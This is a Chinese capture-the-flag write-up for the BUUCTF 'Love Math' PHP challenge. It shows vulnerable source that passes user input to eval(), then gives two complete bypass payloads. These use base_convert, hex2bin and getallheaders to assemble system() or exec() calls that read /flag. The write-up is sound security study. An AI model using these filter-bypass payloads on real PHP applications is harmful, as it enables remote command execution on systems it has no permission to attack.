大数据 Anaconda mysql Kotlin ios 百度seo关键词 ddos压力测试 c语言求和 input取消边框 汇编语言clr java创建字符串数组 mysql重启 python面向对象 mysql删除表 mysql连接 java在线学习 java中数据类型 java文件重命名 java获取时间 java调用接口 易语言进度条 房产证生成器 万能低格工具 rar去广告 html特殊符号 识别音乐的软件 ansys安装教程 vscode全局搜索 图片转pdf免费软件 头条视频解析 组合索引 ps怎么旋转图层 微信砍价功能开发 苹果商店怎么换地区 java分布式 系统工具下载 微信小程序定位 ps怎么把字体加粗 input提示文字 php编写
当前位置: 首页 > 学习教程  > 编程语言

BUUCTF [CISCN 2019 初赛] Love Math

2020/12/28 19:06:22 文章标签:

BUUCTF [CISCN 2019 初赛] Love Math考点&#xff1a; hex2bin()函数把十六进制值的字符串转换为ASCII字符。getallheaders()函数&#xff0c;获取全部 HTTP 请求头信息 启动环境&#xff0c;给出了源码&#xff1a; <?php error_reporting(0); //听说你很喜欢数学&…

BUUCTF [CISCN 2019 初赛] Love Math

考点:

  1. hex2bin()函数把十六进制值的字符串转换为ASCII字符
  2. getallheaders()函数,获取全部 HTTP 请求头信息

启动环境,给出了源码:

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

源码分析:

  • 需要传入变量c的值
  • 限制了传入的长度小于80
  • 其中黑名单blacklist包含:(空格)、\t\r\n'"[]
  • 同时给出了函数白名单,以及白名单字符串:[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*
  • 最终执行eval()函数

构造所需的payload:

?c=$_GET[a]($GET[b])&a=system&b=cat flag

方法一
利用进制间的转换,使用hex2bin()函数,hex2bin()函数把十六进制值的字符串转换为 ASCII字符。

  • 首先将hex2bin转换为十进制base_convert('hex2bin',36,10);,得到37907361743
  • _GET转换为十六进制5f474554
  • 再由hex2bin()函数将十六进制转换为ASCII字符:base_convert(37907361743,10,36)(dechex(1598506324));

其中三十六进制中,有数字字母可满足白名单。

利用php中动态函数特性,也就是把函数名通过字符串传递给一个变量,然后通过此变量动态调用函数。
此时变量$pi=‘_GET’继续构造GET传参:

($$pi){pi}(($$pi){abs})

// 等价于
$_GET[pi]($_GET[abs])

因为[]在黑名单中,所以使用{}代替。
构造所需传入的值:

pi=system
abs=cat /flag

// 被拼接为
system(cat /flag)

所以,最终完整的payload为:

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat /flag

传入payload,得到flag:
在这里插入图片描述
方法二
getallheaders()函数,获取全部 HTTP 请求头信息,利用header传参
getallheader()函数返回的是格式为数组,但因[]在黑名单中无法使用,所以采用getallheader(){1}返回自定义头1里面的内容

同样是使用base_convert()函数,与方法一同理

  • 首先将exec转换为10进制:base_convert('exec',36,10);,得到696468
  • 再将getallheaders转化:base_convert('getallheaders',30,10),得到8768397090111664438
  • 将变量$pi动态调用base_convert()函数

构造payload:

?c=$pi=base_convert,$pi(696468,10,36)(($pi(8768397090111664438,10,30))(){1})

// 等价于
exec(getallheaders(){1})

使用BurpSuite抓取数据包:在这里插入图片描述
添加请求头信息:

1: cat /flag

在这里插入图片描述
最终查找到flag在/目录下,获得flag。


本文链接: http://www.dtmao.cc/news_show_550158.shtml

附件下载

相关教程

    暂无相关的数据...

共有条评论 网友评论

验证码: 看不清楚?